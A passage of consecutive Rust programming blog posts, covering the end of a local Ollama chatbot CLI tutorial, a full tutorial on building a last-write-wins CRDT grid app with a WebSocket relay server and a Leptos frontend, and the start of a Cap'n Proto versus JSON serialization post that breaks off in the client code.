    let client = reqwest::Client::new();

    let mut stdout = io::stdout();
    let stdin = io::stdin();
    let mut lines = BufReader::new(stdin).lines();

Since we’re interested in everything the user writes until they press enter, we can read stdin by line and create a buffered reader to do so. We’ll also create a Reqwest HTTP client to re-use within our interactive loop.

We’ll use > as a prompt character and print that before we start reading from stdin.

    stdout.write_all(b"\n> ").await?;
    stdout.flush().await?;

Then, we read user input line by line from stdin and, if it’s not empty, handle that input.

    while let Some(line) = lines.next_line().await? {
        if !line.is_empty() {
            messages.push(Message {
                role: String::from("user"),
                content: line,
            });

The first thing we do is add the message the user sends to the LLM to our messages vector.

This vector is also what we’ll always send to the LLM API endpoint, since it represents the whole conversation context. If we wouldn’t do that, each message to the LLM would essentially be without context and always start at the base prompt.


            let mut res = client
                .post("http://127.0.0.1:11434/api/chat")
                .json(&json!({
                    "model": "llama2",
                    "messages": &messages

                }))
                .send()
                .await?;

We send the conversation history in the form of messages to the llama2 LLM running on the Ollama REST API.

The API, by default, returns the response chunked by words, since the LLM creates the response word-by-word as per it’s fundamental mechanisms. So, if we would wait for the whole response to be created would take quite a while and the user would stare at a blank screen. To improve this, we’ll stream the response chunks and handle them word-by-word, writing them out to the user.

            let mut message = String::default();
            while let Some(chunk) = res.chunk().await? {
                if let Ok(resp_part) = serde_json::from_slice::<Response>(&chunk) {
                    if !resp_part.done {
                        stdout
                            .write_all(resp_part.message.content.as_bytes())
                            .await?;
                        stdout.flush().await?;

                        message.push_str(&resp_part.message.content);
                    }
                }
            }

We also collect the whole response in the message String, so we can then add it to the conversation context in messages.

            if !message.is_empty() {
                messages.push(Message {
                    role: String::from("assistant"),
                    content: message,
                });
            }
        }

Finally, we print the > prompt character again for the next input.

        stdout.write_all(b"\n> ").await?;
        stdout.flush().await?;

That’s it for our little CLI app. Let’s test, if it does what we think it does!

Testing

So, let’s test the whole thing now with a quick chat, where we ask a question relative to the first prompt, to see if the chat history works as well. Let’s see how much Llama2 knows about Austrian literature!

rust-ai-chatbot-ollama ❯ cargo run
    Finished dev [unoptimized + debuginfo] target(s) in 0.16s
     Running `target/debug/rust-ai-chatbot-ollama`

> Hey, did Elfriede Jelinek ever win the Nobel Prize for Literature?
Elfriede Jelinek has not won the Nobel Prize in Literature. Despite her significant contributions to literature and her international recognition as a prominent writer, Jelinek has not received this particular honor.
> Are you sure? I am pretty sure she won it in 2004
I apologize, you are correct. Elfriede Jelinek was awarded the Nobel Prize in Literature in 2004. Thank you for bringing this to my attention.
> Indeed. Do you also know who won it the year after, in 2005?
Yes, the Nobel Prize in Literature was awarded to Harold Pinter in 2005.
> That is correct, awesome! Thank you
You are welcome! It is always great to learn and share knowledge. If you have any other questions or topics you'd like to discuss, feel free to ask!

Nice, it works! You can find the full code here.

Conclusion

In this post we built a simple AI chatbot using a locally running LLM in async Rust and it barely took 75 lines of code. Now granted, it’s not the most sophisticated app that was ever conceived, but I do hope the example shows how there are really no barriers to building interesting things using LLMs and Rust.

Resources

Using CRDTs to build collaborative Rust web applications

23 Feb 2024 00:00 +0000

This post was originally posted on the LogRocket blog on 23.02.2024 and was cross-posted here by the author.

CRDTs, or conflict-free replicated data types, is a concept that underlies applications facing the issue of data replication across a network. These applications involve multiple actors writing and reading the data, potentially at the same time.

The goal of CRDTs is to make sure that the state of all peers in a system stays consistent at all times, even when they exchange data concurrently. If you are interested in the background and mechanics of CRDTs, I recommend Jake Lazaroff’s.

In this tutorial, we’ll build a very simple last write wins CRDT, which we’ll leverage to handle communication between multiple clients on a network without conflicts, keeping all peers in a consistent state at all times. Last write wins (LWW) means that for each field in the grid, all peers will keep the value of the peer who last wrote to the field, and if two peers write at the same time, we randomize between them for fairness.

We’ll create a simple full-stack web application in Rust, featuring a frontend where clients use an ID to connect to a WebSocket server and input data into a 3x3 grid, with all communication via the WebSocket server.

While it’s feasible to develop fully distributed, local-first apps using CRDTs, this example opts for a simpler centralized data-relay mechanism to maintain simplicity. Note that for brevity, error handling and safety checks have been omitted, but in a production setting, data validation and error management would be critical.

With that out of the way, let’s start coding!

Setting up our Rust app

To follow along, all you need is a recent Rust installation (the latest version at the time of writing is 1.75.0).

    mkdir rust-crdt-example
    cd rust-crdt-example

Because we’re going to build both a frontend and a backend in this tutorial, we’ll need three Rust projects. First, let’s start with the server project:

    cargo new server
    cd server

Next, edit the Cargo.toml file and add the dependencies you’ll need:

    [dependencies]
    tokio = { version = "1", features = ["full"] }
    tokio-tungstenite = "0.20"
    serde_json = "1.0"
    futures-util = "0.3"
    env_logger = "0.10"
    log = "0.4"
    common = { version = "0.1.0", path = "../common" }

We depend on our common package, which we’ll define shortly, in conjunction with tokio and tokio-tungstenite, along with futures-util to build a WebSocket server. Additionally, we’ll use utilities for logging and serde for serialization as we build a simple WebSocket-based relay server.

Next, we’ll create a shared common project:

    cargo new --lib common
    cd common

Again, add the dependencies we need. In this package, as it exclusively contains data types, serde is the only requirement:

    [dependencies]
    serde = {version = "1.0", features = ["derive"] }
    serde_json = "1.0"

Finally, we’ll create the client project for our frontend:

    cargo new client
    cd client

And we also add dependencies and some settings to Cargo.toml:

    [lib]
    crate-type = ["cdylib", "rlib"]
    
    [profile.release]
    codegen-units = 1
    lto = true
    
    [dependencies]
    leptos = { version = "0.5.4", features = ["csr"] }
    serde_json = "1.0"
    leptos-use = "0.8.2"
    common = { version = "0.1.0", path = "../common" }
    rand = "0.8.5"

We use the fantastic Leptos framework for building the frontend. Besides that, we use the leptos-use utilities for connecting to the WebSocket server, serde for serialization, and rand for generating random numbers.

We add the csr flag to Leptos because we’ll only be building a client-side application, without server-side-rendering, which Leptos would also support.

To build our Leptos application using WASM and run it on a local server, we’ll also need to install trunk and the WASM compilation target:

    cargo install trunk
    rustup target add wasm32-unknown-unknown

Now that we have our project set up, we can start implementing our application!

Shared data types

Let’s start with our shared common package, which holds the fundamental data types used both in the client and server implementation.

The two foundational data types are Client and Event:

    #[derive(Debug, Clone, Serialize, Deserialize)]
    pub struct Client {
        pub name: String,
    }
    
    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct Event {
        pub t: String,
        pub data: Value,
    }

A Client is simply any peer and we send Events between the different peers. Events have a type t and some arbitrary data.

The next relevant type is what makes up our data grid, the Row and Column types:

    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct Row {
        pub idx: usize,
        pub columns: Vec<Column>,
    }
    
    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct Column {
        pub peer: String,
        pub timestamp: usize,
        pub idx: usize,
        pub value: String,
    }

Row consists of an index and a list of Column objects. Column is a CRDT containing an index, the value in the grid at that index, the name of the peer who last wrote to this field, and a timestamp indicating when the modification occurred. We’ll look at the implementation of the CRDT later when it becomes clear why we need these fields.

Finally, we have our concrete events, which make up the arbitrary data within Event, which was mentioned above:

    pub const INIT: &str = "INIT";
    pub const GRID: &str = "GRID";
    pub const CLIENT_LIST: &str = "CLIENT_LIST";
    
    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct InitEvent {
        pub name: String,
    }
    
    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct ClientListEvent {
        pub clients: Vec<Client>,
    }
    
    #[derive(Debug, Clone, Deserialize, Serialize)]
    pub struct GridEvent {
        pub data: Vec<Row>,
        pub sender: String,
    }

InitEvent is the event any client sends to the server the first time to register. ClientListEvent is the event the server sends to all clients, so that when a new client is registered, or a client disconnects, everyone has an updated list of clients.

Finally, GridEvent is the data event in this whole mix. If a client changes their data, they send a GridEvent to the server. This event contains their local data grid, as well as their own ID in the sender field, so the server knows who the event is from and doesn’t send it back to them. The server then replicates this event and sends it to all other peers.

That’s it for the basic data types. Now let’s implement the WebSocket relay server.

Implementing the WebSocket server

Again, we start with data types:

    type Clients = Arc<RwLock<HashMap<String, WsClient>>>;
    
    #[derive(Debug, Clone)]
    pub struct WsClient {
        pub name: String,
        pub sender: UnboundedSender<String>,
    }

In this case, Clients represents the list of connected clients. We need to pack this up into an Arc and RwLock, because we’ll access this map of peer names to clients from multiple connections concurrently.

WsClient serves as an abstraction for each connected client, equipped with an UnboundedSender to facilitate message sending to the client.

In the main function, we implement the basic setup for a WebSocket server using tokio-tungstenite:

    #[tokio::main]
    async fn main() -> Result<(), Error> {
        let clients: Clients = Arc::new(RwLock::new(HashMap::new()));
        let _ = env_logger::try_init();
    
        let listener = TcpListener::bind("127.0.0.1:3000")
            .await
            .expect("ws socket works");
        info!("WS Listening on: 127.0.0.1:3000");
    
        while let Ok((stream, _)) = listener.accept().await {
            tokio::spawn(accept_connection(stream, clients.clone()));
        }
    
        Ok(())
    }

We first initialize the Clients list, initialize logging, and then start a new WebSockets server on localhost:3000.

Then, for each incoming connection, we spawn a new tokio task, within which we call the accept_connection function, which takes the connection stream and our list of clients.

Let’s look at that one next, as it contains the meat of the server logic:

    async fn accept_connection(stream: TcpStream, clients: Clients) {
        let addr = stream
            .peer_addr()
            .expect("connected streams should have a peer address");
        let ws_stream = tokio_tungstenite::accept_async(stream)
            .await
            .expect("Error during the websocket handshake occurred");
    
        info!("new ws connection: {addr}");
    
        let (mut sender, mut receiver) = ws_stream.split();
        let (tx, mut rx) = unbounded_channel::<String>();
        let client_id: Arc<RwLock<Option<String>>> = Arc::new(RwLock::new(None));
    
        loop {
            tokio::select! {
                msg = receiver.next() => {
                    match msg {
                        Some(msg) => {
                            let msg = msg.expect("msg is there");
                            if msg.is_text() {
                                if let Ok(evt) = serde_json::from_str::<Event>(msg.to_text().expect("msg is text")) {
                                    match evt.t.as_str() {
                                        INIT => {
                                            if let Ok(event) = serde_json::from_value::<InitEvent>(evt.data) {
                                                handle_init(&event, clients.clone(), tx.clone(), client_id.clone()).await;
                                            }
                                        },
                                        GRID => {
                                            if let Ok(event) = serde_json::from_value::<GridEvent>(evt.data) {
                                                handle_change(&event, clients.clone()).await;
                                            }
                                        }
                                        event_type => {
                                            warn!("unknown event: {event_type}");
                                        }
                                    }
                                }
                            } else if msg.is_close() {
                                handle_close(clients.clone(), client_id.clone(), addr).await;
                                break;
                            }
                        }
                        None => break,
                    }
                },
                Some(ev) = rx.recv() => {
                    sender.send(Message::Text(ev.to_owned())).await.expect("msg was sent");
                },
            }
        }
    }

OK that’s a lot, so let’s go through it step by step. First, we cache the incoming address and accept the incoming connection. As previously mentioned, this process does not include error handling.

Then we split up the WebSockets stream into a sender and receiver piece, and create a new UnboundedChannel so we can pass messages from functions that handle incoming messages to the sender part of the stream.

Finally, we cache client_id so we know, within each connection, which peer the connection is for. Again, we have to use Arc and RwLock here, as we access this concurrently.

Then we enter an infinite loop, where we use the tokio::select! macro to handle values from two different futures: receiver and rx. The receiver future is the stream of incoming WebSocket events and the rx future is the receiving end of the UnboundedChannel we created above, which we use to pass messages.

Whenever a new message on rx comes along, we simply wrap it into a WebSocket Message and send it via the WebSocket stream’s sender end.

If, however, we receive a value on the receiver stream, it indicates that an event has come from our client. In that case, we need to handle the different event types we defined earlier. We can achieve this by parsing the event to an Event, making sure it’s a text event using msg.is_text(). If the event type is INIT and the event’s data parses to an InitEvent, we call the handle_init function:

    async fn handle_init(
        ev: &InitEvent,
        clients: Clients,
        sender: UnboundedSender<String>,
        client_id: Arc<RwLock<Option<String>>>,
    ) {
        let name = ev.name.to_owned();
        *client_id.write().await = Some(name.clone()); // remember the client's ID
    
        // add to the client list
        clients.as_ref().write().await.insert(
            name.clone(),
            WsClient {
                name: ev.name.to_owned(),
                sender: sender.clone(),
            },
        );
    
        // send updated list to all clients
        let serialized = serde_json::to_string(&Event {
            t: CLIENT_LIST.to_string(),
            data: serde_json::to_value(ClientListEvent {
                clients: clients
                    .read()
                    .await
                    .clone()
                    .into_values()
                    .map(|c| Client { name: c.name })
                    .collect(),
            })
            .expect("can serialize clients list"),
        })
        .expect("can serialize client list event");
    
        clients.read().await.iter().for_each(|client| {
            let _ = client.1.sender.send(serialized.clone());
        });
    }

This function saves the value of name in the incoming event to the client_id we’re caching and then updates the client list to include the newly registered peer.

To ensure that every client always has an up-to-date list of clients, we distribute the refreshed client list to all peers. This is done by serializing a new ClientListEvent within an Event, containing the updated list, and then dispatching it through the sender component of the UnboundedChannel. As previously mentioned, each WsClient retains this sender for communication purposes.

If the incoming event is of type GRID, we call the handle_change function:

    async fn handle_change(ev: &GridEvent, clients: Clients) {
        // send updated grid to all clients, except the sender
        let d = ev.data.clone();
        let client_msg_event = Event {
            t: GRID.to_string(),
            data: serde_json::to_value(GridEvent {
                data: d.clone(),
                sender: ev.sender.clone(),
            })
            .expect("can serialize GRID event"),
        };
    
        let serialized =
            serde_json::to_string(&client_msg_event).expect("can serialize client GRID event");
    
        clients.read().await.iter().for_each(|client| {
            if client.0 != &ev.sender {
                let _ = client.1.sender.send(serialized.clone());
            }
        })
    }

This function simply takes the incoming event and multiplexes it to all connected clients except for the event’s sender. This is the mechanism by which changes in the data grid get propagated between peers.

If the event isn’t of a known type, we ignore it and log a warning. If the event is a close event, we call the handle_close function:

    async fn handle_close(
        clients: Clients,
        client_id: Arc<RwLock<Option<String>>>,
        addr: std::net::SocketAddr,
    ) {
        if let Some(ref ci) = *client_id.read().await {
            clients.as_ref().write().await.remove(ci); // remove client from list
    
            // send new list to all clients
            let serialized = serde_json::to_string(&Event {
                t: CLIENT_LIST.to_string(),
                data: serde_json::to_value(ClientListEvent {
                    clients: clients
                        .read()
                        .await
                        .clone()
                        .into_values()
                        .map(|c| Client { name: c.name })
                        .collect(),
                })
                .expect("can serialize clients list"),
            })
            .expect("can serialize client list event");
    
            clients.read().await.iter().for_each(|client| {
                let _ = client.1.sender.send(serialized.clone());
            });
            info!("disconnected: {:?} at {addr}", ci);
        }
    }

Similar to handle_init, this function just updates the client list, removing the disconnected client and sending the updated list to all connected clients.

That’s it for the server part of this application. Now that we have a better understanding of the various events that occur and their outcomes, let’s examine the implementation on the client side.

Leptos client with CRDT logic

We’re going to use Leptos to build the client side of this application.

For additional setup, in main.rs, we need to mount the application:

    #![allow(non_snake_case)]
    use leptos::*;
    use rust_crdt_example::App;
    
    fn main() {
        mount_to_body(|| view! { <App />})
    }

The actual implementation of the client logic is found in lib.rs. We also need an index.html file, which, in our case, consists of a basic HTML skeleton and some styles, which you can check out in the GitHub repository.

Again, we start with a type for our client implementation:

    #[derive(Debug, Clone)]
    pub struct ChangeEvent {
        pub row: usize,
        pub column: usize,
        pub value: String,
    }

This is a simple helper type we’ll use for communicating a change that was made in the UI to our Leptos effect, which will update our local data and send an event to the other clients via the WebSocket server.

In the App component, let’s first set up the signals we’ll use, as well as the WebSocket connection using the use_websocket helper from leptos-use:

    #[component]
    pub fn App() -> impl IntoView {
        let UseWebsocketReturn { message, send, .. } = use_websocket("ws://localhost:3000/");
    
        let (clients, set_clients) = create_signal(vec![]);
        let (data_change, set_data_change) = create_signal::<Option<ChangeEvent>>(None);
        let (data, set_data) = create_signal(init_data());
        let (name, set_name) = create_signal(String::default());
    ...

The init_data helper simply creates an empty, default, 3x3 grid of Row and Column. The clients list is where we’ll store the client list that we get sent by the server, and data_change is the signal we’ll use to communicate from our data grid to the Leptos effect, which will update the data. The name signal is simply the peer’s name, which we’ll set once the peer connects to the server.

Our UI consists of three components:

Connect: For connecting to the server, setting our peer ID
Clients: For displaying the client list
Grid: For displaying and interacting with the data grid

This makes the view of our App component quite simple:

        view! {
            <div class="app">
                <div class="container">
                    <span class="hidden">{move || data_change.get().is_some()}</span>
                    <Connect send={send} set_name={set_name}/>
                    <Clients clients={clients}/>
                    <Grid data={data} set_data_change={set_data_change}/>
                </div>
            </div>
        }
    }

The send function that’s passed to Connect is from the use_websocket helper above and is the utility function we use for sending WebSocket events to the server.

Let’s look at Connect first:

    #[component]
    pub fn Connect<F>(send: F, set_name: WriteSignal<String>) -> impl IntoView
    where
        F: Fn(&str) + Clone + 'static,
    {
        let (connected, set_connected) = create_signal(false);
        let name_input: NodeRef<Input> = create_node_ref();
    
        let submit_handler = move |ev: SubmitEvent| {
            ev.prevent_default();
    
            let name = name_input.get().expect("input exists").value();
            send(&format!(
                r#"{{"t": "INIT","data": {{ "name": "{}" }} }}"#,
                name,
            ));
            set_connected.update(|c| *c = true);
            set_name.update(|n| *n = name);
        };
    
        view! {
            <div class="connect">
                <div class="connect-name">
                    <form on:submit=submit_handler>
                        <span>Name</span>
                        <span><input type="text" name="name" node_ref=name_input disabled=move|| connected.get()/></span>
                        <span><input type="submit" disabled=move || connected.get() value="connect"/></span>
                    </form>
                </div>
            </div>
        }
    }

The Connect component holds some internal state in the form of the connected signal, which makes it so that once connected, we cannot submit the form again. Then, we define a submit_handler, which creates the INIT event using string concatenation, sets connected, and sends the event to the WebSocket server.

The UI simply consists of a little form, which is disabled if the peer is connected.

Next, let’s look at the Clients component:

    #[component]
    pub fn Clients(clients: ReadSignal<Vec<String>>) -> impl IntoView {
        view! {
            <div class="clients">
                <span>Clients</span>
                <ul class="clients-list">
                    <For
                        each=move || clients.get()
                        key=|state| state.clone()
                        children=|child| view! { <li>{child}</li>}
                    />
                </ul>
            </div>
        }
    }

This component simply gets the clients passed to it and displays them in an unordered list. We’ll see later on how and when clients is updated. This happens within an effect higher up.

Finally, let’s check out the Grid component:

    #[component]
    fn Grid(
        data: ReadSignal<Vec<Row>>,
        set_data_change: WriteSignal<Option<ChangeEvent>>,
    ) -> impl IntoView {
        view! {
            <div class="grid-container">
                <div class="grid">
                    <For each=move || data.get()
                     key=|r| r.idx
                     children=move |row| view! {
                         <div class="row">
                             <For each=move || row.columns.clone()
                                  key=move |c| format!("{}{}", row.idx, c.idx)
                                  children=move |col| view! {
                                      <input type="text" on:input=move |ev| {
                                          set_data_change.update(|dc| *dc = Some(ChangeEvent { row: row.idx, column: col.idx, value: event_target_value(&ev) }));
                                      }
                                      prop:value=move || data.get()[row.idx].columns[col.idx].value.clone()/>
                                  }/>
                         </div>
                    }/>
                </div>
            </div>
        }
    }

In this component, we render a nested list of Row and Column from the data signal. We make sure we have unique keys, so Leptos knows to change only the minimal set of DOM nodes for each change.

Within each Column, there is an input field that holds the current value of the Column. Its on:input event handler updates data_change with a ChangeEvent containing the row, column, and new value. This event is then passed to the mechanism responsible for altering our data and transmitting it to the server, which we will explore next.

The main logic of WebSocket event handling and updating data with the aforementioned CRDT logic happens in two effects within the App component. The first effect listens for changes in data_change and updates the local data based on it, sending a WebSocket event to the server with the updated data:

        let cloned_send = send.clone();
        create_effect(move |_| {
            if let Some(change) = data_change.get() {
                set_data_change.update(|dc| *dc = None);
                set_data.update(|d| {
                    let old = &d[change.row].columns[change.column];
                    let new = Column {
                        idx: old.idx,
                        peer: name.get(),
                        value: change.value,
                        timestamp: old.timestamp + 1,
                    };
                    d[change.row].columns[change.column] = new;
                });
                let d = data.get();
    
                let data_event = serde_json::to_value(GridEvent {
                    data: d,
                    sender: name.get(),
                })
                .expect("can serialize change event");
                let serialized = serde_json::to_string(&Event {
                    t: GRID.to_owned(),
                    data: data_event,
                })
                .expect("can be serialized");
                cloned_send(&serialized);
            }
        });

We need to clone send, because we use it further down in the Connect component and otherwise it would be captured by the move closure.

Within the effect, we check if data_change is set and if so, immediately set it back to None, so we avoid unintended changes to immediately bounce out our changes again. Then, we update our local data using the ChangeEvent sent from within Grid.

Now, here’s the first part of the CRDT logic. We set peer to ourselves, change the value, and increment the timestamp.

This timestamp value is simply a usize, which counts up. For example, this means that if several peers share a value at Row: 0, Column: 1 with a timestamp of 3 and we update it locally to 4, any client with a lower timestamp will recognize it as a new value and can safely override it. We will delve into this further in the merging logic upon receiving an incoming event shortly.

Once we update our local data, we serialize it into a GridEvent and send it to the WebSocket server so it can be propagated to all the other connected peers.

In the second effect, we implement the logic needed for handling incoming WebSocket events:

        create_effect(move |_| {
            let m = message.get();
            if let Some(msg) = m.clone() {
                if let Ok(evt) = serde_json::from_str::<Event>(&msg) {
                    if evt.t == CLIENT_LIST {
                        if let Ok(cl) = serde_json::from_value::<ClientListEvent>(evt.data) {
                            set_clients.update(|c| {
                                *c = cl
                                    .clients
                                    .into_iter()
                                    .map(|c| c.name)
                                    .collect::<Vec<String>>()
                            });
                        }
                    } else if evt.t == GRID {
                        if let Ok(m) = serde_json::from_value::<GridEvent>(evt.data) {
                            // simple last-write-wins CRDT merge logic
                            set_data.update(|d| {
                                for i in 0..d.len() {
                                    for j in 0..d[0].columns.len() {
                                        let local = &d[i].columns[j];
                                        let remote = &m.data[i].columns[j];
    
                                        if local.timestamp > remote.timestamp {
                                            continue; // local version is newer - nothing to update
                                        }
    
                                        if local.timestamp == remote.timestamp && random() {
                                            continue; // timestamps are the same, use one at random
                                        }
    
                                        // overwrite local with remote
                                        d[i].columns[j] = m.data[i].columns[j].clone();
                                    }
                                }
                            });
                        }
                    }
                }
            }
            m
        });

We use the message signal from the use_websocket helper, which changes any time we get a new message on the open WebSocket connection.

Following a similar approach to the server implementation, we parse the message into an Event. Depending on the event type, we attempt to parse it to either a CLIENT_LIST or GRID event.

In the CLIENT_LIST case, we parse the event’s data to a ClientListEvent and set our local clients signal to the incoming value. This is the mechanism to update the local client list that was mentioned above.

If the incoming event is of type GRID, we parse to a GridEvent and implement the CRDT merge logic for incoming messages.

For each field in the data grid, we check if the local timestamp value is greater than the remote one and if so, we don’t need to update the field, as our local copy is more current than the remote one.

If the timestamp for both local and remote peers is the same, which can happen if both send a change and because of a network delay, they both had an old state and updated to the same timestamp. In this case, we use random() to randomize between the two values. With a 50% probability, we do nothing, and with the remaining 50% chance, we update the local value to match the remote value.

In any other case, such as if the remote timestamp is greater than the local one, we update the local field value in our data grid. And because this logic is implemented in the same way on all clients, all clients should converge to the same state without any conflicts, which is what this CRDT gives us.

That’s it for the client implementation. Next, let’s see if it works.

Testing

We can run the server using cargo run and the client using trunk serve --open, which will open a browser window with http://127.0.0.1:8080. We can open two more browser windows with that address, so we can simulate three different clients.

First, we connect with two clients. With the first client, we set a value at position 0:0, and observe that the second client immediately receives this value:

Then, we set a value with the second client in 1:1, observing that the first client also gets the value:

Then, we connect to the third client and we see that the client list is updated:

If the third client writes one character in 0:0 and one character in 1:1, nothing happens for the other clients because the local timestamp of the third client is lower than the timestamps of the first and second clients.

Also, because the first and second clients haven’t sent their data to the third client yet, because no change has been made by them, the third client doesn’t have their data yet:

However, if the second client now adds values in 1:1, these changes are propagated to both the first and third client, as well as the change in 0:0 to the third client, because the timestamp of this value in the second client’s data is higher than in the third client’s:

However, if the third client writes in 2:2, where the first and second clients don’t have a value, and hence no timestamp yet, the data is propagated to both of them and all three clients have a consistent state:

It works very nicely! Find the full code on GitHub.

Conclusion

This was a fun little example application to build, which showed how easy it has become to build a full-stack web application in Rust with the mature libraries, which are available now.

Also, we looked at how to hand-roll a simple CRDT, which can be used to make sure data replicated between several peers stays consistent.

If you plan to build production-grade CRDT-based software and don’t want to build every piece of it by hand, I recommend Automerge as a library for handling all your CRDT needs, but it’s always good to look under the hood to build intuition and understanding for the underlying concepts.

Using Cap'n Proto with Rust

09 Aug 2023 00:00 +0000

In this post, we’re going to look at how to use the wonderful Cap’n Proto serialization system in Rust.

I’ve been wanting to check out Cap’n Proto for a while now, since it has some very cool features and posts some impressive performance numbers. The little example shown in this article is a nice way to scratch the surface.

For this purpose, we’re going to build a short example application, which will:

Define a Cat schema as our data model with a few fields, some nested objects, as well as some binary data in the form of an image
Implement serialization and deserialization of said data model using Cap’n Proto as well as JSON
Implement a simple TCP client which serializes some dummy data and sends it across the network
Implement a simple TCP Server for JSON and Cap’n Proto, which receive this data and deserialize it

We’ll also add some primitive timing in the code, to see roughly how serialization and deserialization between Cap’n Proto and JSON compare and we’ll log the size of the created payloads.

The point here is not to do a comparison between JSON and Cap’n Proto, because that would be comparing apples to oranges and we’d have to do some in-depth benchmarks. What I’m interested here is rather how the ergonomics compare and to get an order-of-magnitude baseline regarding payload size and performance for this basic example.

Let’s start!

Setup

Install the capnp tool for your platform as described here. You can check out this piece of documentation if you’re interested in what you can do with it and how to use it.

For our purposes, it’s enough to have it installed, since it’ll be used during the build process of our little toy application.

Then, we create a new project using cargo init and edit Cargo.toml to include the following dependencies:

capnp
capnpc
tokio
serde
serde_json
base64

We’re using Cap’n Proto, so we need both the runtime and build library for it. Also, since we’re building a networked app, we’ll use Tokio to build a simple server and client implementation and we’ll need Serde to implement our JSON baseline for comparison. And finally, we’ll use the base64 crate to encode the binary image data, so we can send it as a String within the JSON payload.

With that out of the way, let’s start by building our Cap’n Proto schema and include it in our build process.

Schema and build.rs

First, we use the following command

capnp id

which in my case returned @0x9d62d5f53cf92b66. This is our unique ID for the Cat type.

Then, we create the schema file in schemas/cats.capnp.

@0x9d62d5f53cf92b66;

struct Cat {
    name @0: Text;
    age @1: UInt8;
    color @2: Text;
    cuteness @3: Float32;
    addresses@4: List(Address);

    struct Address {
        street @0: Text;
        number @1: UInt8;
        postalcode @2: UInt16;
    }

    image @5: Data;
}

The schema starts with the unique type id and then defines the data model in Cap’n Proto schema language. We define the names of the fields with the order in which they were added to the protocol (to maintain backwards-compatibility), as well as their data type.

We can also define nested structures directly inside the containing structures, being able to reference them within e.g. a List as can be seen at the addresses example. This is a very simple example and the schema language is quite powerful, so if you’re interested in that, it would certainly make sense to dive a bit deeper into the docs and to check out some examples. There is also a section on how to evolve the protocol avoiding breaking changes.

With the schema defined, it’s time to add the Cap’n Proto compiler to our build process, so our schema is checked and built with every build of the project.

extern crate capnpc;

fn main() {
    capnpc::CompilerCommand::new()
        .output_path("src/")
        .src_prefix("schemas")
        .file("schemas/cats.capnp")
        .run()
        .expect("capnp compiles");
}

We create a build.rs file, which will be run during cargo build, which invokes the Cap’n Proto compiler with the parameters given above for our Cat schema.

Now we can use cargo build to both build our project and in addition, trigger the Cap’n Proto code generation for our defined schema. The generated file, in this case, will be created at src/cats_capnp.rs and it can be imported using mod cats_capnp into main.rs.

Next, let’s implement the Cap’n Proto serialization and de-serialization logic.

Cap’n Proto Serialization and Deserialization

Let’s start by implementing serialization and deserialization using Cap’n Proto, starting with the logic to build a message.

fn build_cpnproto_msg(img: &[u8]) -> Vec<u8> {
    let mut msg = Builder::new_default();

    let mut cat = msg.init_root::<cats_capnp::cat::Builder>();
    cat.set_name("Minka");
    cat.set_age(8);
    cat.set_color("lucky");
    cat.set_cuteness(100.0);
    cat.set_image(img);
    let mut addresses = cat.init_addresses(10);
    {
        for i in 0..10 {
            let mut address = addresses.reborrow().get(i);
            address.set_street("some street");
            address.set_number(i as u8);
            address.set_postalcode(1234);
        }
    }

    let start = Instant::now();
    let data = serialize::write_message_to_words(&msg);
    let duration = start.elapsed();
    println!("CAPNP SE: duration: {:?}, len: {}", duration, data.len());
    data
}

The first step is to create a Builder and to initialize it with our cats_capnp builder, so we can start creating an instance of a cat. Then, we set each field using the generated setters. Then, to handle the nested data structure in addresses, we first use init_addresses with the amount of addresses we want to add and then open a new scope using {}. This technique is necessary, so we can work with the addresses e.g. in a loop, by re-borrowing it, without running into scoping and borrow-checker issues.

Within this scope, we initialize the 10 addresses using a loop. Afterwards, we use serialize::write_message_to_words to create the data payload, measuring how long this takes and printing the duration, as well as the payload size. We don’t have to do anything to the binary data of the image, since Cap’n Proto is a binary format.

Next, let’s implement deserialization.

fn deserialize_cpnproto(data: &[u8]) {
    let start = Instant::now();

    let reader = serialize::read_message(data, ReaderOptions::new()).expect("can create reader");
    let cat = reader
        .get_root::<cats_capnp::cat::Reader>()
        .expect("can deserialize cat");

    let duration = start.elapsed();
    println!(
        "CAPNP DE: {} duration: {:?}",
        cat.get_name().unwrap(),
        duration
    );
}

To deserialize, we create a Reader from the incoming data using serialize::read_message, which we can then use to deserialize back a Cat type using cats_capnp::cat::Reader. Again, we measure the duration of this operation.

JSON Serialization and Deserialization

Next, we’ll implement the same serialization and deserialization using JSON.

First, we define the same types as in Cap’n Proto, but using structs and Serde.

#[derive(Serialize, Deserialize, Debug)]
struct Address {
    street: String,
    number: u16,
    postalcode: u16,
}

#[derive(Serialize, Deserialize, Debug)]
struct Cat {
    name: String,
    age: u8,
    color: String,
    cuteness: f32,
    addresses: Vec<Address>,
    image: Option<String>,
}

The data model simply matches the schema we defined using Cap’n Proto, deriving the Serialize and Deserialize traits, so we can use our structs with Serde.

Now we can implement the JSON deserialization logic.

fn build_msg_json(img: &[u8]) -> Vec<u8> {
    let mut addresses = vec![];
    for i in 0..10 {
        addresses.push(Address {
            street: String::from("some street"),
            number: i,
            postalcode: 1234,
        });
    }

    let encoded_img = general_purpose::STANDARD_NO_PAD.encode(img);

    let cat = Cat {
        name: String::from("Minka"),
        age: 8,
        color: String::from("lucky"),
        cuteness: 100.0,
        addresses,
        image: Some(encoded_img),
    };

    let start = Instant::now();
    let data = serde_json::to_vec(&cat).expect("can json serialize cat");
    let duration = start.elapsed();
    println!("JSON SE: duration: {:?}, len: {}", duration, data.len());
    data
}

For the JSON serialization, we build our data model, again with 10 addresses nested in it and we encode the image data as base64, so we can send it as a String. Then, we simply serialize it using serde_json and print out the time this took, as well as the size of the payload.

Next, we’ll implement JSON deserialization.

fn deserialize_json(data: &[u8]) {
    let start = Instant::now();
    let cat: Cat = serde_json::from_slice(data).expect("can deserialize json");
    let mut decoded_img = Vec::new();
    if let Some(img) = cat.image {
        decoded_img = general_purpose::STANDARD_NO_PAD.decode(img).unwrap();
    }
    let duration = start.elapsed();
    println!(
        "JSON DE: {}, duration: {:?}, img len: {}",
        cat.name,
        duration,
        decoded_img.len()
    );
}

Deserialization is similarly simple. We deserialize the incoming data using serde_json and decode the image back from base64, measuring the time that takes.

Client and Server

Now that we have our data serialization and deserialization handled, let’s write some simple server and client logic so we can try out sending our payloads over the network.

async fn client(data: &[u8], json_data: &[u8]) -> Result<(), Box<dyn std::error::Error>> {
    println!("started in CLIENT mode");

    let mut stream = TcpStream::connect("127.0.0.1:3000").await?;
